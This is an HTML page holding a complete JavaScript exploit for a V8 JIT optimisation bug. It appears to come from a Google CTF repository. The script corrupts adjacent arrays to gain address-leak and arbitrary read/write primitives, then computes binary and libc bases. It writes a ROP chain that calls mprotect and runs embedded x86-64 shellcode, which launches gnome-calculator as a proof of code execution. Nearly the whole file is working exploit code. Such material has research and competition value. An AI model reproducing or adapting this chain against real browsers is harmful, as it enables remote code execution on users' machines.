Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
196 lines (163 sloc) 5.31 KB
<!--
Copyright 2018 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<script>
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
let g1 = undefined;
let g2 = undefined;
let g3 = undefined;
let g4 = undefined;
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let c = [Array, 1.2, 1.3, 1.4, 1.5, 1.6];
let x = doit ? 9007199254740992 : 9007199254740991-2;
x += 1;
x += 1;
x -= 9007199254740991;
x *= 3;
x += 2;
a[x] = 2.1729236899484e-311; // (1024).smi2f()
g1 = a;
g2 = b;
g3 = c;
}
const g3_off = 12;
const ab_off = 26;
const ab_backing_store_off = ab_off + 0x15;
function setup() {
foo(false);
for (let i = 0; i < 100000; i++) {
foo(true);
g2[100] = 1;
if (g2[12] != undefined) break;
}
if (g2[12] == undefined) {
throw 'g2[12] == undefined';
}
g4 = new Float64Array(7);
if (g2[ab_off+5].f2smi() != 0x38n || g2[ab_off+6].f2smi() != 0x7n) {
throw 'array buffer not at expected location';
}
g4[0] = 5.5;
if (g2[ab_backing_store_off] != g4[0]) {
throw 'array buffer backing store not at expected location';
}
}
function leak_ptr(o) {
g3[0] = o;
let ptr = g2[g3_off];
g3[0] = 0;
return ptr.f2i();
}
function readq(addr) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
let q = g4[0];
g2[ab_off+2] = old;
return q.f2i();
}
function writeq(addr, val) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
g4[0] = val.i2f();
g2[ab_off+2] = old;
}
function trigger_munmap() {
let arr = new Uint8Array(new ArrayBuffer((1<<28)+7));
arr[0] = 0x41;
arr[1] = 0x42;
arr[2] = 0;
for (let i = 0; i < 1000000; i++) {
let arr = new Array(1024);
}
}
const sc = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00];
function run() {
setup();
let Array_addr = leak_ptr(Array);
console.log('Array_addr: ' + Array_addr.hex());
let Array_code_addr = readq(Array_addr + 6n*8n);
console.log('Array_code_addr: ' + Array_code_addr.hex());
// Builtins_ArrayConstructor
let builtin_val = readq(Array_code_addr+8n*8n);
let Array_builtin_addr = builtin_val >> 16n;
console.log('Array_builtin_addr: ' + Array_builtin_addr.hex());
let bin_base = Array_builtin_addr - 0x405c7c0n;
console.log(`bin base: ${bin_base.hex()}`);
let cxa_finalize_got = bin_base + 0x8ddbde8n;
let libc_base = readq(cxa_finalize_got) - 0x43520n;
//let libc_base = readq(cxa_finalize_got) - 0x35bf0n;
console.log('libc base: ' + libc_base.hex());
let environ = libc_base+0x3ee098n;
//let environ = libc_base+0x65b4100n;
let stack_ptr = readq(environ);
console.log(`stack: ${stack_ptr.hex()}`);
let nop = bin_base+0x263d061n;
let pop_rdi = bin_base+0x264bdccn;
let pop_rsi = bin_base+0x267e82en;
let pop_rdx = bin_base+0x26a8d66n;
let mprotect = bin_base+0x88278f0n;
let sc_array = new Uint8Array(2048);
for (let i = 0; i < sc.length; i++) {
sc_array[i] = sc[i];
}
let sc_addr = readq((leak_ptr(sc_array)-1n+0x68n));
console.log(`sc_addr: ${sc_addr.hex()}`);
let rop = [
pop_rdi,
sc_addr,
pop_rsi,
4096n,
pop_rdx,
7n,
mprotect,
sc_addr
];
let rop_start = stack_ptr - 8n*BigInt(rop.length);
for (let i = 0; i < rop.length; i++) {
writeq(rop_start+8n*BigInt(i), rop[i]);
}
for (let i = 0; i < 0x200; i++) {
rop_start -= 8n;
writeq(rop_start, nop);
}
}
setTimeout(run, 1);
</script>